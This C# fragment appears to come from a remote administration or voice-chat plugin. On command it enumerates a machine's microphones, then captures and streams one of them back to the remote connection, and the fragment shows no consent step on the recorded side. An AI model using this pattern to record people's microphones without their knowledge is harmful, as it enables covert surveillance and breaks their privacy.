public void StartLocalStreaming(MMDevice device)
{
if (IsLocalStreaming)
{
return;
}
IsLocalStreaming = true;
ConnectionInfo.SendCommand(this, (byte)VoiceChatCommunication.StartLocalStreaming);
_cscoreRecorder = new CSCoreRecorder(device, true, Bitrate, Application);
_cscoreRecorder.Initialize();
_cscoreRecorder.DataAvailable += CSCoreRecorderOnDataAvailable;
_cscoreRecorder.SingleBlockRead += LocalBlockRead;
LogService.Send((string)System.Windows.Application.Current.Resources["StartLocalStream"]);
}
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
{
switch ((VoiceChatCommunication)parameter[0])
{
case VoiceChatCommunication.StartLocalStreaming:
_cscoreDataPlayer = new CSCoreDataPlayer(false);
_cscoreDataPlayer.Initialize();
break;
case VoiceChatCommunication.SendAudioPackage:
_cscoreDataPlayer?.Feed(parameter, 1, parameter.Length - 1);
break;
case VoiceChatCommunication.StartRemoteStreaming:
var captureInfo = Serializer.FastDeserialize <VoiceChatBeginCaptureInfo>(parameter, 1);
MMDevice selectedDevice;
using (var mmDeviceEnumerator = new MMDeviceEnumerator())
using (var devices = mmDeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active))
{
selectedDevice = devices.FirstOrDefault(x => x.DeviceID == captureInfo.DeviceId);
}
_cscoreRecorder = new CSCoreRecorder(selectedDevice, false, captureInfo.Bitrate,
(Application)captureInfo.Application);
_cscoreRecorder.DataAvailable += (sender, args) =>
{
connectionInfo.UnsafeResponse(this, new WriterCall(args.DataInfo.Length + 1, stream =>
{
stream.WriteByte((byte)VoiceChatCommunication.ResponseAudioPackage);
args.DataInfo.WriteIntoStream(stream);
}));
};
_cscoreRecorder.Initialize();
break;
case VoiceChatCommunication.GetRemoteAudioDevices:
using (var mmDeviceEnumerator = new MMDeviceEnumerator())
using (var devices = mmDeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active))
using (var defaultDevice = mmDeviceEnumerator.GetDefaultAudioEndpoint(DataFlow.Capture,
Role.Communications))
{
var captureListData =
new Serializer(typeof(List <CaptureDeviceInfo>)).Serialize(
devices.Select(
device =>
new CaptureDeviceInfo
{
Id = device.DeviceID,
Name = device.FriendlyName,
IsDefault = defaultDevice.DeviceID == device.DeviceID
})
.ToList());
ResponseBytes((byte)VoiceChatCommunication.ResponseAudioDevices, captureListData,
connectionInfo);
}
break;
case VoiceChatCommunication.StopLocalStreaming:
_cscoreDataPlayer.Dispose();
_cscoreDataPlayer = null;
break;
case VoiceChatCommunication.StopRemoteStreaming:
_cscoreRecorder.Dispose();
_cscoreRecorder = null;
break;
default:
throw new ArgumentOutOfRangeException();
}
}